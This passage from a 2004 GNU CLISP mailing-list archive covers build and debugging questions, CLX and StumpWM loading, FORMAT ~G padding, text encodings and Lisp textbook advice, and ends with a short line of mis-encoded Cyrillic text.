   > #2  0x0804eccc in gc_markphase () at spvw_garcol.d:532
   > #3  0x0804fd44 in gar_col_normal () at spvw_garcol.d:1718
   > #4  0x080531c1 in do_gar_col_simple () at spvw_garcol.d:2603
   > #5  0x08229b48 in with_gc_statistics(void (*)()) (
   >     fun=0x80531a8 <do_gar_col_simple>) at predtype.d:2801
   > #6  0x080531e3 in gar_col_simple () at spvw_garcol.d:2632
   > #7  0x0805349a in make_space_gc_true (need=16, heapptr=0x835ef64)
   >     at spvw_allocate.d:216
   > #8  0x080539bb in allocate_vector(unsigned long) (len=2) at spvw_typealloc.d:92
   > #9  0x0810c50b in test_env () at control.d:1964
   > #10 0x0810c679 in C_macro_function() () at control.d:1980

   if you see function names printed "in the clear", it is probably C.
   if you saw something like
      _Z17C_read_eval_printv
   or
      _Z15funcall_closure6objectm
   then it would have been C++ ("mangling")

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> * Gene Michael Stover <tzf@zk.serrfuryy.bet> [2004-03-22 23:51:09 +0000]:
>
> "go" is the script.

instead of

CC=g++ ./configure --with-debug build-g-gxx
cd build-g-gxx
./makemake --with-dynamic-ffi --verbose debug >Makefile
make config.lisp
make && make check

you need

CC=g++ ./configure --with-debug --build build-g-gxx
cd build-g-gxx



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I get the same thing.

Is it possible these problems are symptoms of the problem?
I can't think of how, but I'm sure I'm following the steps
you've given me.  What if g++ is trying to be smart &
compiling in C mode because the files are *.c?  Stack
overflow trashing the rest of memory?  (I'm grasping at
straws.  Sorry.)

gene


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   > * Gene Michael Stover <tzf@zk.serrfuryy.bet> [2004-03-22 23:51:09 +0000]:
   >
   > "go" is the script.

   instead of

   CC=g++ ./configure --with-debug build-g-gxx
   cd build-g-gxx
   ./makemake --with-dynamic-ffi --verbose debug >Makefile
   make config.lisp
   make && make check

   you need

   CC=g++ ./configure --with-debug --build build-g-gxx
   cd build-g-gxx



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Does anyone know of a xml-rpc server that will run in CLISP? CLiki has a
link to an implementation by Sven van Caekenberghe, but it appears to only
run in OpenMCL and LispWorks. I tried out Sven's server in OpenMCL, and it
has the functionality I'm looking for - I just want it in CLISP! 

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> * Smith, Tod A (AADC Indy) <Gbq.N.Fzvgu@nnqp.pbz> [2004-03-25 08:36:12 -0500]:
>
> Does anyone know of a xml-rpc server that will run in CLISP? CLiki has
> a link to an implementation by Sven van Caekenberghe, but it appears
> to only run in OpenMCL and LispWorks. I tried out Sven's server in
> OpenMCL, and it has the functionality I'm looking for - I just want it
> in CLISP!

why don't you try to port it to CLISP?

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Hi developers,

CMUCL and SBCL provide access to their IEEE 754 floating point binary
representations through SINGLE-FLOAT-BITS, DOUBLE-FLOAT-LOW-BITS and
DOUBLE-FLOAT-HIGH-BITS, exported from the KERNEL and SB-KERNEL packages
respectively.

Does CLISP provide similar functionality?

Thanks,
Adam



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> * Adam Warner <yvfgf@pbafhygvat.arg.am> [2004-03-27 12:17:44 +1200]:
>
> CMUCL and SBCL provide access to their IEEE 754 floating point binary
> representations through SINGLE-FLOAT-BITS, DOUBLE-FLOAT-LOW-BITS and
> DOUBLE-FLOAT-HIGH-BITS, exported from the KERNEL and SB-KERNEL
> packages respectively.

have a look at
<http://clisp.cons.org/impnotes/stream-dict.html#bin-output>
see example in clisp/tests/bin-io.tst.

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I built clisp-2.33 --with-module=clx/new-clx

I saw some CLX stuff scroll by when clisp was building.

But now that it is running, the packages I see are

(#<PACKAGE GSTREAM> #<PACKAGE GRAY> #<PACKAGE I18N> #<PACKAGE SOCKET> #<PACKAGE FFI>
 #<PACKAGE SCREEN> #<PACKAGE CUSTOM> #<PACKAGE EXT> #<PACKAGE CLOS>
 #<PACKAGE CHARSET> #<PACKAGE KEYWORD> #<PACKAGE SYSTEM> #<PACKAGE COMMON-LISP-USER>
 #<PACKAGE COMMON-LISP>

What is the correct proceedure to go through to actually use CLX?


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> * Joe Corneli <wpbearyv@zngu.hgrknf.rqh> [2004-03-27 17:30:44 -0600]:
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> I built clisp-2.33 --with-module=clx/new-clx
> What is the correct proceedure to go through to actually use CLX?

<http://clisp.cons.org/faq.html#modules>

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   <http://clisp.cons.org/faq.html#modules>

Thanks. Maybe the FAQ could go into the distribution?


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Following SDS's instructions, I seem to have gotten new-clx to work
"out of the box" under CLISP.  It doesn't show up in the package
list (there are no errors when loading this stuff up)...

> (list-all-packages)
(#<PACKAGE GSTREAM> #<PACKAGE GRAY> #<PACKAGE I18N> #<PACKAGE SOCKET> #<PACKAGE FFI>
 #<PACKAGE SCREEN> #<PACKAGE CUSTOM> #<PACKAGE EXT> #<PACKAGE CLOS>
 #<PACKAGE CHARSET> #<PACKAGE KEYWORD> #<PACKAGE SYSTEM> #<PACKAGE COMMON-LISP-USER>
 #<PACKAGE COMMON-LISP> #<PACKAGE XLIB> #<PACKAGE XPM> #<PACKAGE MAKE>
 #<PACKAGE PORT> #<PACKAGE ASDF>)

But I can play Sokoban if I run

> (load "~/clisp/src/clx/new-clx/demos/clx-demos.lisp")
> (clx-demos:sokoban)

However, when I try to run `(asdf:operate 'asdf:load-op 'stumpwm)',
I find trouble.

> (asdf:operate 'asdf:load-op 'stumpwm)
; loading system definition from /Users/arided/lisp-systems/stumpwm.asd into #<PACKAGE
;   ASDF3328>
;; Loading file /Users/arided/lisp-systems/stumpwm.asd ...
;; Loaded file /Users/arided/lisp-systems/stumpwm.asd
*** - Condition of type ASDF:MISSING-DEPENDENCY.

If I comment out the line

  :depends-on (:clx :port)

from stumpwm.asd, then I get a little further along.  (Could it be a
problem with new-clx as opposed to mit-clx?)

> (asdf:operate 'asdf:load-op 'stumpwm)
; loading system definition from /Users/arided/lisp-systems/stumpwm.asd into #<PACKAGE
;   ASDF2380>
;; Loading file /Users/arided/lisp-systems/stumpwm.asd ...
; registering #<SYSTEM :STUMPWM #x19EF0779> as STUMPWM
;; Loaded file /Users/arided/lisp-systems/stumpwm.asd
;; Loading file /Users/arided/lisp-systems/stumpwm/package.fas ...
;; Loaded file /Users/arided/lisp-systems/stumpwm/package.fas
;; Loading file /Users/arided/lisp-systems/stumpwm/primitives.fas ...
** - Continuable Error
FUNCALL: undefined function XLIB:CHARACTER->KEYSYMS
If you continue (by typing 'continue'): Retry
The following restarts are also available:
STORE-VALUE    :R1      You may input a new value for (FDEFINITION 'XLIB:CHARACTER->KEYSYMS).
USE-VALUE      :R2      You may input a value to be used instead of (FDEFINITION 'XLIB:CHARACTER->KEYSYMS).
RETRY          :R3      
Retry performing #<ASDF:LOAD-OP NIL #x19EEFDB1> on #<ASDF:CL-SOURCE-FILE
  "primitives" #x19EED195>.
ACCEPT         :R4      
Continue, treating #<ASDF:LOAD-OP NIL #x19EEFDB1> on #<ASDF:CL-SOURCE-FILE
  "primitives" #x19EED195> as having been successful.


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> * Joe Corneli <wpbearyv@zngu.hgrknf.rqh> [2004-03-27 23:11:51 -0600]:
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> It doesn't show up in the package list

no, here it is:

> #<PACKAGE XLIB>


> If I comment out the line
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> from stumpwm.asd, then I get a little further along.  (Could it be a
> problem with new-clx as opposed to mit-clx?)

it appears to expect you to load CLOCC/PORT and CLOCC/CLX.

> FUNCALL: undefined function XLIB:CHARACTER->KEYSYMS

new-clx is incomplete.
try mit-clx instead - ot CLOCC/CLX which is more or less the same.


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Is there a good way to "make clean"?  Having built CLISP, once,
trying to configure it again I get

% ./configure --with-module=clx/mit-clx
../src/lndir: destination already exists: /Users/arided/clisp/src/berkeley-db


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> * Joe Corneli <wpbearyv@zngu.hgrknf.rqh> [2004-03-28 10:55:17 -0600]:
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> Is there a good way to "make clean"?

"make distclean"

I always build in a separate directory "build-...", e.g.

$ ./configure --with-debug --build build-g

or

$ ./configure --with-module=clx/new-clx --build build-nclx

or

$ ./configure --with-module=clx/mit-clx --build build-mitx

so that "clean" just means

$ rm -rf build-*


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 Something has changed between .31 and .32 though.
 In .31 after clisp-link add-module-set I have a lisp.run and
 lispinit.mem in the new directory but in .32 I don't.
 What am I supposed to do about this?
 Related to dynamic loading or something?


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> * Don Cohen <qba-fbheprsbetrkk@vfvf.pf3-vap.pbz> [2004-03-28 11:42:10 -0800]:
>
>  Something has changed between .31 and .32 though.
>  In .31 after clisp-link add-module-set I have a lisp.run and
>  lispinit.mem in the new directory but in .32 I don't.

I don't think anything in clisp-link has changed (and you should be
using 2.33, not 2.32 anyway).

I have never used clisp-link directly, only as a part of that standard
Makefile as generated by makemake.in during CLISP build.
It runs "clisp-link add-module-sets".

I suggest that place the raw-sock directory in the clisp/modules/
directory, go to your clisp build directory, edit Makefile there and
add "raw-sock" to the MODULES variable, and then everything should be
done by a mere "make full" (including linking raw-sock from
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In the CLOCC CL.ENVIRONMENT installation notes, they say this:

 Load the file named 'load-cl-environment.lisp'.

       (load "load-cl-environment.lisp")

 Be careful about the directory you are in and/or the actual location
 of the aforementioned file.  The package is actually loaded from the
 directory of *LOAD-TRUENAME* as bound by the call to LOAD.

Can you offer advice on how to get CLISP to think I'm in the working
directory?  A sort of `save-excursion' to temporarily set the
working directory?


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Joe Corneli <jcorneli@math.utexas.edu> writes:

> > (asdf:operate 'asdf:load-op 'stumpwm)
> ; loading system definition from /Users/arided/lisp-systems/stumpwm.asd into #<PACKAGE
> ;   ASDF2380>
> ;; Loading file /Users/arided/lisp-systems/stumpwm.asd ...
> ; registering #<SYSTEM :STUMPWM #x19EF0779> as STUMPWM
> ;; Loaded file /Users/arided/lisp-systems/stumpwm.asd
> ;; Loading file /Users/arided/lisp-systems/stumpwm/package.fas ...
> ;; Loaded file /Users/arided/lisp-systems/stumpwm/package.fas
> ;; Loading file /Users/arided/lisp-systems/stumpwm/primitives.fas ...
> ** - Continuable Error
> FUNCALL: undefined function XLIB:CHARACTER->KEYSYMS

Well that sucks. I don't really know much about all the keysym
functions in clx, so I've just been digging around in the source. I'll
get some existing clx apps and see what they do for key input (always
been a bit of a mystery).

Thanks for the heads up. As for fixing that...well..it might be a bit
involved :). But you could quick fix it by replacing all the calls to
that fn with the keysym for whatever character I'm trying to get at.

-Shawn



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   functions in clx, so I've just been digging around in the source. I'll
   get some existing clx apps and see what they do for key input (always
   been a bit of a mystery).

Achtung! They don't all seem to do the right thing all the time.
For example, Sokoban (running under new-clx) doesn't recognize
Mode_switch+<char>, as in

  keycode 10 = e E Down

for example.

BTW, I tried to load up stump when running mit-clx and got the same
"*** - Condition of type ASDF:MISSING-DEPENDENCY."  But upon
commenting out the ":depends-on (:clx :port)", I got the following
-- I.e. stump actually seems to load.  But I'm still not quite sure
how to actually run it...

[4]> (asdf:operate 'asdf:load-op 'stumpwm)
; loading system definition from /Users/arided/lisp-systems/stumpwm.asd into #<PACKAGE
;   ASDF2625>
;; Loading file /Users/arided/lisp-systems/stumpwm.asd ...
;; Loaded file /Users/arided/lisp-systems/stumpwm.asd
;; Loading file /Users/arided/lisp-systems/stumpwm/package.fas ...
;; Loaded file /Users/arided/lisp-systems/stumpwm/package.fas
;; Loading file /Users/arided/lisp-systems/stumpwm/primitives.fas ...
;; Loaded file /Users/arided/lisp-systems/stumpwm/primitives.fas
Compiling file /Users/arided/lisp-systems/stumpwm/input.lisp ...
WARNING in READ-ONE-LINE-KEY-LOOP in lines 76..95 :
Duplicate CASE label QUOTE : 
(CASE RET ('DONE (RETURN (VALUES INPUT 'DONE)))
 ('ABORT (RETURN (VALUES INPUT 'ABORT))))
WARNING in PROCESS-INPUT in lines 122..155 :
Duplicate CASE label QUOTE : 
(CASE RET ('DONE (VALUES INP 'DONE)) ('ABORT (VALUES INP 'ABORT))
 (T (DRAW-INPUT-BUCKET SCREEN PROMPT INP) (VALUES INP T)))
WARNING in UPDATE-MODIFIER-MAP in lines 157..180 :
NULL was called with 2 arguments, but it requires 1 argument.
WARNING in UPDATE-MODIFIER-MAP in lines 157..180 :
MODIFIERS-META is neither declared nor bound,
it will be treated as if it were declared SPECIAL.
WARNING in COOK-KEYCODE in lines 207..208 :
X11MOD->STUMPMOD was called with 1 arguments, but it requires 2 arguments.
[X11MOD->STUMPMOD was defined in lines 182..194]

Wrote file /Users/arided/lisp-systems/stumpwm/input.fas
WARNING:
COMPILE-FILE warned while performing #<COMPILE-OP NIL #x19F5C189> on #<CL-SOURCE-FILE
  "input" #x19F5A9A5>.
WARNING:
COMPILE-FILE failed while performing #<COMPILE-OP NIL #x19F5C0ED> on #<CL-SOURCE-FILE
  "input" #x19F5A939>.
;; Loading file /Users/arided/lisp-systems/stumpwm/input.fas ...
;; Loaded file /Users/arided/lisp-systems/stumpwm/input.fas
Compiling file /Users/arided/lisp-systems/stumpwm/core.lisp ...
WARNING in G4156 in lines 588..595 :
variable WINDOW is not used.
Misspelled or missing IGNORE declaration?

Wrote file /Users/arided/lisp-systems/stumpwm/core.fas
WARNING:
COMPILE-FILE warned while performing #<COMPILE-OP NIL #x19F5C0BD> on #<CL-SOURCE-FILE
  "core" #x19F5A9A5>.
WARNING:
COMPILE-FILE failed while performing #<COMPILE-OP NIL #x19F5C0BD> on #<CL-SOURCE-FILE
  "core" #x19F5A9A5>.
;; Loading file /Users/arided/lisp-systems/stumpwm/core.fas ...
;; Loaded file /Users/arided/lisp-systems/stumpwm/core.fas
Compiling file /Users/arided/lisp-systems/stumpwm/user.lisp ...
WARNING in SET-DEFAULT-BINDINGS-1 in lines 33..54 :
variable S is not used.
Misspelled or missing IGNORE declaration?

Wrote file /Users/arided/lisp-systems/stumpwm/user.fas
WARNING:
COMPILE-FILE warned while performing #<COMPILE-OP NIL #x19F5C0BD> on #<CL-SOURCE-FILE
  "user" #x19F5AA41>.
WARNING:
COMPILE-FILE failed while performing #<COMPILE-OP NIL #x19F5C0BD> on #<CL-SOURCE-FILE
  "user" #x19F5AA41>.
Compiling file /Users/arided/lisp-systems/stumpwm/stumpwm.lisp ...

Wrote file /Users/arided/lisp-systems/stumpwm/stumpwm.fas
WARNING:
COMPILE-FILE warned while performing #<COMPILE-OP NIL #x19F5C08D> on #<CL-SOURCE-FILE
  "stumpwm" #x19F5AAAD>.
WARNING:
COMPILE-FILE failed while performing #<COMPILE-OP NIL #x19F5C08D> on #<CL-SOURCE-FILE
  "stumpwm" #x19F5AAAD>.
;; Loading file /Users/arided/lisp-systems/stumpwm/user.fas ...
;; Loaded file /Users/arided/lisp-systems/stumpwm/user.fas
;; Loading file /Users/arided/lisp-systems/stumpwm/stumpwm.fas ...
;; Loaded file /Users/arided/lisp-systems/stumpwm/stumpwm.fas
The following functions were used but not defined:
 :MOD1 STUMPWM::KEYSYM->CHARACTER
The following special variables were not defined:
 STUMPWM::MODIFIERS-META
0 errors, 7 warnings
NIL
[5]> 


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On Monday, Mar 29, 2004, at 00:09 America/New_York, Joe Corneli wrote:

> In the CLOCC CL.ENVIRONMENT installation notes, they say this:
>
>  Load the file named 'load-cl-environment.lisp'.
>
>        (load "load-cl-environment.lisp")
>
>  Be careful about the directory you are in and/or the actual location
>  of the aforementioned file.  The package is actually loaded from the
>  directory of *LOAD-TRUENAME* as bound by the call to LOAD.
>
> Can you offer advice on how to get CLISP to think I'm in the working
> directory?  A sort of `save-excursion' to temporarily set the
> working directory?

The latest version of CL-ENVIRONMENT should take care of that 
automagically.  I.e. if you do

	(load "[Path,to]load-cl-environment.lisp")

on a VMS system, it should actually set the internal logical pathnames 
hosts correctly (check the CL-ENV-LIBRARY host after loading the file)

Cheers

Marco

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Date: Mon Mar 29 10:45:02 2004
X-Original-Date: Mon, 29 Mar 2004 20:44:05 +0200 (MEST)

                                Hello,
I experienced a problem with FORMAT--when printing floats with ~G,
trailing blanks were introduced:

(format t "---|~@G|---~%" (exp 1.0d0))
---|+2.718281828459045    |---
                      ^^^^
                      these blanks should not be there according to
my understanding of the CLHS.  GCL appears to get it right:

$ gcl
GCL (GNU Common Lisp)  Version(2.4.0) Tue May 29 11:41:02 MET DST 2001
Licensed under GNU Library General Public License
Contains Enhancements by W. Schelter

>(format t "---|~@G|---~%" (exp 1.0d0))
---|+2.718281828459046|---
NIL


Since my CLISP was ancient, I built CLISP 2.33 on Solaris:

Platform:
  SunOS rosalind 5.8 Generic_108528-12 sun4u sparc

Source:
  http://heanet.dl.sourceforge.net/sourceforge/clisp/clisp-2.33.tar.bz2
  as of 2004-03-29
  MD5 (clisp-2.33.tar.bz2) = 8724eccb8933eedec31a06206c79e74d

Build:
  export CC="gcc -Wall"
  ./configure --prefix=/home/kau/3/ solaris
  cd solaris
  ./makemake --with-dynamic-ffi  --prefix=/home/kau/3/   > Makefile
  make config.lisp
  emacs config.lisp  # just long-site-name
  time make

  I can send the build log if necessary (there were a number of gcc
  warnings and suspicious messages like
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO"
 "function" FORMAT #P"/home/kau/3/src/clisp-2.33/src/format.lisp"
 "top-level") 

I got a working clisp (I have not ran the tests yet):
./clisp --version
GNU CLISP 2.33 (2004-03-17) (built 3289563544) (memory 3289564749)
Software: GNU C 3.1 ANSI C program
Features: 
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
 GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE
 BASE-CHAR=CHARACTER UNIX)
Installation directory: /home/kau/3/src/clisp-2.33/solaris/
User language: ENGLISH
Machine: SUN4U (SUN4U) rosalind [172.27.96.18]

but FORMAT behaves as before.

I believe that the problem lies in src/format.lisp:

;; ~G, CLTL p.395-396, CLtL2 p. 594-595
(defformat-simple format-general-float (stream colon-modifier atsign-modifier
                  (w nil) (d nil) (e nil) (k 1)
                  (overflowchar nil) (padchar #\Space) (exponentchar nil))
                  (arg)
  (declare (ignore colon-modifier))
  (if (rationalp arg) (setq arg (float arg)))
  (if (floatp arg)
    (multiple-value-bind (mantissa n) (format-scale-exponent (abs arg))
      (declare (ignore mantissa))
      (if (null d)
        (setq d
          (multiple-value-bind (digits digitslength)
            (format-float-to-string (abs arg) nil nil nil nil)
            (declare (ignore digits))
            (max (max (1- digitslength) 1) (min n 7)))))
      (let* ((ee (if e (+ 2 e) 4))
             (dd (- d n)))
        (if (<= 0 dd d)
          (progn
            (format-float-for-f
              (if w (- w ee) nil)
              dd 0
              overflowchar padchar atsign-modifier arg stream)
;;; Is this the cause of the problem?
            ;;(format-padding ee #\Space stream)
            )
          (format-float-for-e w d e k overflowchar padchar exponentchar
                              atsign-modifier arg stream))))
    (if w
      (format-padded-string w 1 0 padchar t (princ-to-string arg) stream)
      (format-ascii-decimal arg stream))))

Loading the modified form into CLISP establishes the correct
behaviour:

[5]> (load "src/format-g-loader.lisp")
;; Loading file src/format-g-loader.lisp ...
;;  Loading file src/format-g.lisp ...
;;  Loaded file src/format-g.lisp
;; Loaded file src/format-g-loader.lisp
T
[6]> (format t "|~G|" pi)
|3.1415926535897932385|
NIL
[7]> (format t "|~10,,,,G|" pi)
|3.1415926535897932385|
NIL
[8]> (format t "|~10,5,,,G|" pi)
|3.1416|
NIL
[9]> (format t "|~20,5,,,G|" pi)
|          3.1416|
NIL

Could some of the experts here comment on the problem and my
workaround?  Please CC me, as I have not yet subscribed to the list.
                                    regards
                                        Roland


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Date: Mon Mar 29 12:42:03 2004
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> *  <ebynaq.xnhsznaa@fcnpr.ng> [2004-03-29 20:44:05 +0200]:
>
> I experienced a problem with FORMAT--when printing floats with ~G,
> trailing blanks were introduced:
>
> (format t "---|~@G|---~%" (exp 1.0d0))
> ---|+2.718281828459045    |---
>                       ^^^^
that's also what LispWorks does.

>                       these blanks should not be there according to
> my understanding of the CLHS.

<http://www.lisp.org/HyperSpec/Body/sec_22-3-3-3.html>
Let ee equal e+2, or 4 if e is omitted.
~ww,dd,,overflowchar,padcharF~ee@T

~ee@T is what outputs these 4 spaces.

> GCL appears to get it right:
>
> $ gcl
> GCL (GNU Common Lisp)  Version(2.4.0) Tue May 29 11:41:02 MET DST 2001
> Licensed under GNU Library General Public License
> Contains Enhancements by W. Schelter
>
>>(format t "---|~@G|---~%" (exp 1.0d0))
> ---|+2.718281828459046|---
> NIL

yes, GCL is known to have many ANSI compliance bugs.



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On the CLiki page for Zebu, it says you need to patch clisp to make
it work with clisp 2.30.  Should I assume that this is still the
case?

I have gotten zebu _running_ - but it doesn't seem to work.


[8]> (zb:zebu-compile-file "~/lisp-systems/zebu/zebu-3.5.5/test/simple.zb")

; Zebu Compiling (Version 3.5.5)
; #P"/Users/arided/lisp-systems/zebu/zebu-3.5.5/test/simple.zb" to #P"/Users/arided/lisp-systems/zebu/zebu-3.5.5/test/simple.tab"

Reading grammar from /Users/arided/lisp-systems/zebu/zebu-3.5.5/test/simple.zb

WARNING:
Compiling with :GRAMMAR "null-grammar".
To use the meta grammar use: :GRAMMAR "zebu-mg" in options list!
Start symbols is: E

*** - READ from 
#<INPUT BUFFERED FILE-STREAM CHARACTER
  #P"/Users/arided/lisp-systems/zebu/zebu-3.5.5/test/simple.zb" @35>: illegal character #\Sub


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Nevermind... I just realized what the problem was; each of the .zb
files is terminated by a ^Z character; CLISP doesn't care for that.


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                            Thank you Sam,
I was confused, and CLISP works correctly.  Sorry about the noise.
In the meantime, I ran make check and the result looks good:
  RUN-ALL-TESTS: grand total: 0 errors out of 8,769 tests

What about the warnings from gcc and the WARN forms?

I suppose that 
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a"
  "DEFUN/DEFMACRO"
  "function" GLOBAL-IN-FENV-P
  #P"/home/kau/3/src/clisp-2.33/src/compiler.lisp" "top-level")
should yield something like

DEFUN/DEFMACRO: redefining function GLOBAL-IN-FENV-P in
 #P"/home/kau/3/src/clisp-2.33/src/compiler.lisp", was defined in top-level

shouldn't it?
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                                          Roland


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I found something that had "darwin" and PPC in the title.
Is that MAC OSX ?
When I download it I end up with something similiar to what
I expect in unix.
The instructions say "make".
But where's make?
If I get into a shell I don't see any evidence of such a thing.
I don't see and cc either.
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Don Cohen writes:
> I found something that had "darwin" and PPC in the title.
> Is that MAC OSX ?
> When I download it I end up with something similiar to what
> I expect in unix.

Not surprizing, since MacOSX IS UNIX!
(MacOSX runs on Darwin and Darwin is a FreeBSD derivative).

> The instructions say "make".
> But where's make?
> If I get into a shell I don't see any evidence of such a thing.
> I don't see and cc either.
> Is this pre built binary stuff only usable by people who 
> download some extensive "development environment" ?
> How do I get that?  Is there a list of what I need?

You would have to install the Developer tools, provided in separate
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 > You would have to install the Developer tools, provided in separate
 > packages on the MacOSX installation media.

What would go wrong if one person who had installed these tools did
the make and let everyone else copy his executable?
Given that the default installation seems NOT to include these tools,
it seems like that would be a reasonable way to distribute binaries
if it works.


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Don Cohen writes:
>  > You would have to install the Developer tools, provided in separate
>  > packages on the MacOSX installation media.
> 
> What would go wrong if one person who had installed these tools did
> the make and let everyone else copy his executable?
> Given that the default installation seems NOT to include these tools,
> it seems like that would be a reasonable way to distribute binaries
> if it works.

Not much.  Well, a little more on Darwin\MacOSX than on Linux (the
system libraries seem to change a lot between each versions).

But the biggest problem is that the user is given a lot of choices at
compile-time by clisp: you can choose the modules you compile in, and
various other options. 

You can fetch a compiled binary with fink, but the latest version
available is 2.29 while we're at 2.33.

Anyway, a computer without a compiler IS NOT a computer.  
Go and install the developer tools!

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Pascal J.Bourguignon writes:
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I eventually managed to do this ...

 > Anyway, a computer without a compiler IS NOT a computer.  
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You imagine it's my computer!
Anyhow, it now has a lisp compiler.

Now I'm trying to use foreign characers.
I see the characters on the screen and can even read and write them
on files.
But when I ask the length of a string I get 2 x the number of
characters, i.e., the number of bytes.  Is that the way it's supposed
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When I ask for individual characters I always get 8 bit characters.


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Don Cohen writes:
> Pascal J.Bourguignon writes:
>  > You can fetch a compiled binary with fink, but the latest version
>  > available is 2.29 while we're at 2.33.
> I eventually managed to do this ...
> 
>  > Anyway, a computer without a compiler IS NOT a computer.  
>  > Go and install the developer tools!
> You imagine it's my computer!
> Anyhow, it now has a lisp compiler.
> 
> Now I'm trying to use foreign characers.
> I see the characters on the screen and can even read and write them
> on files.
> But when I ask the length of a string I get 2 x the number of
> characters, i.e., the number of bytes.  Is that the way it's supposed
> to work?  (Or related to 2.29 instead of 2.33 ?)
> When I ask for individual characters I always get 8 bit characters.

First, check if clisp 2.29 from fink has been compiled with unicode support:

(MEMBER :UNICODE *FEATURES*)  shoud not be NIL.

Then you should launch clisp with one ore more -E options specifying
the encoding(s) you want to use, or set the encoding custom variables:

CUSTOM:*PATHNAME-ENCODING*
CUSTOM:*DEFAULT-FILE-ENCODING*
CUSTOM:*MISC-ENCODING*
CUSTOM:*FOREIGN-ENCODING*

http://clisp.cons.org/impnotes/clisp.html#opt-enc
http://clisp.cons.org/impnotes/encoding.html



For example, to work in ISO-8895-1 encoding 
(no need for unicode support in that case):

    clisp -ansi -q -K full -m 32M -I -E ISO-8859-1

to work in UTF-8 (unicode) encoding, but with files names encoded in
ISO-8859-1:

    clisp -ansi -q -K full -m 32M -I -E UTF-8 -Efile ISO-8859-1


To read a line from a japanese unix file:

   (with-open-file (jp-in "japanese.iso2022-jp" :direction :input
                          :external-format (ext:make-encoding
                                             :charset charset:ISO-2022-JP
                                             :line-terminator :unix))
       (print (read-line jp-in)))


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Hi Sam,

I tried the last set of "how to get debug info"
instructions.  I'm sure I'm following the steps you've given
me.  I even wiped out the entire clisp-2.33 source directory
& unpacked it from the distro again.

The script I used is
  <http://lisp-p.org/clb/go>
The file of commands for gdb is
  <http://lisp-p.org/clb/go.cmd>
The total output is
  <http://lisp-p.org/clb/go.out>

Thanks again for your time.

gene


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   > * Gene Michael Stover <tzf@zk.serrfuryy.bet> [2004-03-22 23:51:09 +0000]:
   >
   > "go" is the script.

   instead of

   CC=g++ ./configure --with-debug build-g-gxx
   cd build-g-gxx
   ./makemake --with-dynamic-ffi --verbose debug >Makefile
   make config.lisp
   make && make check

   you need

   CC=g++ ./configure --with-debug --build build-g-gxx
   cd build-g-gxx



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> *  <ebynaq.xnhsznaa@fcnpr.ng> [2004-03-30 21:59:29 +0200]:
>
> I suppose that 
> (WARN "~a: redefining ~a ~s in ~a, was defined in ~a"
>   "DEFUN/DEFMACRO"
>   "function" GLOBAL-IN-FENV-P
>   #P"/home/kau/3/src/clisp-2.33/src/compiler.lisp" "top-level")
> should yield something like
>
> DEFUN/DEFMACRO: redefining function GLOBAL-IN-FENV-P in
>  #P"/home/kau/3/src/clisp-2.33/src/compiler.lisp", was defined in top-level
> shouldn't it?

this is due to bootstrapping (until format is available, we just print
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Hi, i'm trying to learn Common Lisp and i'm trying to find a good book 
for that purpose, i've encountered "Common Lisp The Language 2nd 
edition" of 1989, my doubt is, will the contents of this book work with 
Common Lisp 2.33(since the book is a bit old)?
Thanks in advance.

Ricardo


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> * Ricardo <evp_a_pred@vby.cg> [2004-04-07 17:55:43 +0100]:
>
> Hi, i'm trying to learn Common Lisp and i'm trying to find a good book
> for that purpose, i've encountered "Common Lisp The Language 2nd
> edition" of 1989, my doubt is, will the contents of this book work
> with Common Lisp 2.33(since the book is a bit old)?

CLISP implements ANSI CL, which is slightly different from the language
described in CLtL2 (which is not suitable as a textbook anyway).
I recommend "ANSI Common Lisp" by Paul Graham as the textbook and the
CLHS as the on-line reference.

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Ricardo,  I add my recommendation to what Sam said (Graham's
"ANSI Common Lisp").  Paul Graham has a personal web site, &
you can get a pointer there to where you can order the book,
if I remember right.  (Google for "Paul Graham".)

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   > * Ricardo <evp_a_pred@vby.cg> [2004-04-07 17:55:43 +0100]:
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I have transfered my inquiries about the CL docs to PARC/Xerox, but
I don't actually know who to get in touch with there.  Anyone have
any contact information for sympathetic folks working at PARC/Xerox.
Or any leads about people there who might know something about legal
issues?

Or who I might ask?

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Hello -

I heard from Kent Pitman that the draft of the ANSI Common Lisp spec
you are hosting on your FTP site in is "supposed to be" in the
Public Domain.

Is there any chance you know whether the documents actually are in
the public domain, or any more details about their copyright status?

Or who I might ask?

I wrote to the maintainer's address (found in the README file
ftp://ftp.parc.xerox.com/PARCFTP-README) but my email bounced.

Here is a little more info about why I'm interested in this stuff.

I would like to use the documents, the latest version of which, as I
understand it, are textually identical to the actual standard, to
begin making online documentation for GNU CLISP, and perhaps other
forms of documentation for other Lisp systems.  If you can give me
any more information I would appreciate it.

Joe
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Oh yeah... 

PACKAGE  ---has a---> MAINTAINER

MAINTAINER  ---has a---> NAME

MAINTAINER   ---knows about---> COPYRIGHT-STATUS

NAME ---is contained in--->  README-FILE

CURRENT-EMAIL-ADDRESS ---used for---> CONTACTING-PEOPLE

CONTACTING-PEOPLE ---is opportunity for---> ASKING-QUESTIONS

README-FILE  ---lives in---> TOP-LEVEL-DIRECTORY

CURRENT-EMAIL-ADDRESS ---lives on---> HOMEPAGE

HOMEPAGE ---found via---> GOOGLING-FOR-NAME


... that's a thought!


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I found your name in the file

ftp://ftp.parc.xerox.com/PARCFTP-README

where you are listed as the maintainer of the /pub/cl directory.

I heard from Kent Pitman that the draft of the ANSI Common Lisp spec
on this FTP site is "supposed to be" in the Public Domain.

Do you have any more details about what this means exactly?  Are the
documents really in the public domain? If not, is it reasonable to
think that they could be transfered to the public domain by some
other means than waiting for their copyright to run out?

The reason I'm interested is that I would like to use these
documents to begin making online documentation for GNU CLISP, and
perhaps other forms of documentation for other Lisp systems.

If you can give me any more information about this issue, I would
appreciate it.
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Sam Steingold wrote:
>>* Ricardo <evp_a_pred@vby.cg> [2004-04-07 17:55:43 +0100]:
>>
>>Hi, i'm trying to learn Common Lisp and i'm trying to find a good book
>>for that purpose, i've encountered "Common Lisp The Language 2nd
>>edition" of 1989, my doubt is, will the contents of this book work
>>with Common Lisp 2.33(since the book is a bit old)?
> 
> 
> CLISP implements ANSI CL, which is slightly different from the language
> described in CLtL2 (which is not suitable as a textbook anyway).
> I recommend "ANSI Common Lisp" by Paul Graham as the textbook and the
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> 
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ìîòèâèðîâàíû ñîòðóäíèêè íà åãî âûïîëíåíèå. 
